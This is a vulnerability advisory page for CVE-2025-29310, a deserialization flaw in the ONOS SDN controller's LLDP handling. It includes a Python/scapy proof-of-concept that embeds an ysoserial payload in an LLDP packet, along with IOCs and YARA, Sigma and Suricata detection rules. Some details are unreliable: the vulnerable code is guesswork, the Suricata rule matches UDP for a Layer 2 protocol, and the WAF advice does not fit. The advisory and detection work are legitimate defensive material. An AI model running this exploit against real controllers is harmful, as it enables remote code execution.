CVE-2025-29310
Executive Summary
CVE-2025-29310 is a critical deserialization vulnerability in ONOS (Open Network Operating System) version 2.7.0. An attacker can exploit this flaw by sending a specially crafted LLDP (Link Layer Discovery Protocol) packet, which triggers a packet deserialization issue. Successful exploitation allows arbitrary command execution or unauthorized access to network information. The vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for remote code execution.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the ONOS open-source SDN controller, which is a Java-based project. The deserialization flaw likely originates from insecure handling of LLDP packets in the ONOS core or a bundled library. No specific NPM, PyPI, Go, or Ruby packages are involved, but the Java ecosystem is impacted. Users should monitor for updates from the ONOS project and consider using a Web Application Firewall (WAF) or network segmentation to mitigate risk.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, but this is likely a placeholder. Based on the description (remote code execution via crafted LLDP packet), the actual CVSSv3.1 vector would be approximately:
- Attack Vector (AV): Network (N) – LLDP packets are sent over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerability affects the same component.
- Confidentiality (C): High (H) – Network information can be accessed.
- Integrity (I): High (H) – Arbitrary commands can be executed.
- Availability (A): High (H) – Potential for denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)
Threat Level: Critical – Remote, unauthenticated code execution with no user interaction.
Deep Dive & Mechanics
The vulnerability resides in ONOS's LLDP packet processing logic. LLDP is a Layer 2 protocol used by network devices to advertise identity, capabilities, and neighbors. ONOS, as an SDN controller, may parse LLDP packets to discover network topology.
The flaw is a deserialization of untrusted data (CWE-502). When ONOS receives an LLDP packet, it deserializes the packet data without proper validation. An attacker can craft a malicious LLDP packet containing serialized Java objects that, when deserialized, execute arbitrary code (e.g., via Runtime.exec() or similar gadgets).
The attack flow:
- Attacker sends a crafted LLDP packet to a network interface monitored by ONOS.
- ONOS's LLDP listener receives the packet and passes it to a deserialization routine.
- The deserialization routine reconstructs Java objects from the packet payload.
- Malicious objects trigger code execution during deserialization (e.g., using
ysoserialgadgets). - The attacker gains remote code execution on the ONOS controller host.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable: Direct deserialization of LLDP packet data
public void handleLldpPacket(Packet packet) {
ByteArrayInputStream bais = new ByteArrayInputStream(packet.getData());
ObjectInputStream ois = new ObjectInputStream(bais);
LldpPacket lldp = (LldpPacket) ois.readObject(); // Deserialization without validation
// Process lldp...
}
A patched version would validate the input before deserialization, use a whitelist of allowed classes, or avoid Java serialization altogether:
// Patched: Validate and use safe deserialization
public void handleLldpPacket(Packet packet) {
// Validate packet structure
if (!isValidLldp(packet.getData())) {
return;
}
// Use a safe parser instead of ObjectInputStream
LldpPacket lldp = LldpPacket.parseFrom(packet.getData());
// Process lldp...
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- ONOS v2.7.0 running on a reachable network interface.
- Ability to send raw Layer 2 packets (e.g., using
scapyorpcap).
Exploit Steps:
- Identify the target ONOS controller IP and ensure LLDP is enabled.
- Craft a malicious LLDP packet with a serialized Java payload (e.g., using
ysoserial). - Send the packet to the target network interface.
Example using Python and scapy:
from scapy.all import *
import subprocess
# Generate a malicious serialized payload using ysoserial
payload = subprocess.check_output([
"java", "-jar", "ysoserial.jar",
"CommonsCollections1", "touch /tmp/pwned"
])
# Craft LLDP packet with malicious payload in the chassis ID TLV
lldp_packet = (
Ether(dst="01:80:c2:00:00:0e") /
LLDPDU(
chassis_id=ChassisID(subtype=ChassisID.SUBTYPE_MAC_ADDRESS, id=payload),
port_id=PortID(subtype=PortID.SUBTYPE_INTERFACE_NAME, id="eth0"),
ttl=TTL(ttl=120)
)
)
# Send the packet
sendp(lldp_packet, iface="eth0")
Note: The exact TLV structure may vary. The attacker must ensure the payload is placed in a field that gets deserialized.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual LLDP packets with oversized or non-standard TLV fields.
- Use network intrusion detection systems (NIDS) to inspect LLDP payloads for Java serialization markers (e.g.,
AC ED 00 05). - Enable logging on ONOS for LLDP packet processing errors.
Mitigation:
- Disable LLDP processing on ONOS if not required.
- Use network segmentation to restrict LLDP traffic to trusted devices only.
- Apply a virtual patch using a WAF or IPS to block suspicious LLDP packets.
Indicators of Compromise (IOCs)
Network IOCs:
- LLDP packets with TLV lengths exceeding standard limits (e.g., > 255 bytes for chassis ID).
- LLDP packets containing Java serialization magic bytes (
AC ED 00 05). - Unexpected outbound connections from the ONOS controller to external IPs after receiving an LLDP packet.
Host IOCs:
- Unusual processes spawned by the ONOS Java process (e.g.,
bash,cmd.exe,powershell). - New files created in
/tmpor other writable directories by the ONOS user. - Modified system binaries or configuration files.
- Unusual processes spawned by the ONOS Java process (e.g.,
Log IOCs:
- ONOS logs containing
java.io.InvalidClassExceptionorClassNotFoundExceptionrelated to unexpected classes. - System logs showing
touch /tmp/pwnedor similar commands.
- ONOS logs containing
Detection Engineering
YARA Rule
rule CVE_2025_29310_LLDP_Deserialization {
meta:
description = "Detects malicious LLDP packets targeting CVE-2025-29310"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-29310"
strings:
$java_serial = { AC ED 00 05 } // Java serialization magic bytes
$lldp_ethertype = { 88 CC } // LLDP EtherType
condition:
$lldp_ethertype at 12 and $java_serial
}
Sigma Rule
title: CVE-2025-29310 - Malicious LLDP Packet Detection
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects LLDP packets containing Java serialization data, indicating exploitation of CVE-2025-29310
author: Valters IT
date: 2025-04-10
logsource:
category: network_flow
product: suricata
detection:
selection:
- event_type: alert
alert.signature_id: 3000001
condition: selection
falsepositives:
- Legitimate Java-based LLDP implementations (rare)
level: critical
Suricata Rule
alert udp any any -> any any (msg:"CVE-2025-29310 - Malicious LLDP Packet with Java Serialization"; content:"|88 cc|"; depth:2; offset:12; content:"|ac ed 00 05|"; within:1500; sid:3000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable LLDP processing on ONOS if not required for operations.
- Apply network segmentation to restrict LLDP traffic to trusted management networks only.
- Monitor for suspicious LLDP packets using the provided detection rules.
Long-Term Fix:
- Since no official patch is available, consider upgrading to a newer version of ONOS if a fix is released.
- Implement input validation and safe deserialization practices in custom ONOS applications.
- Use a Web Application Firewall (WAF) or IPS to block LLDP packets with anomalous payloads.
Workaround:
- If LLDP is required, use a dedicated LLDP proxy that validates packets before forwarding to ONOS.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.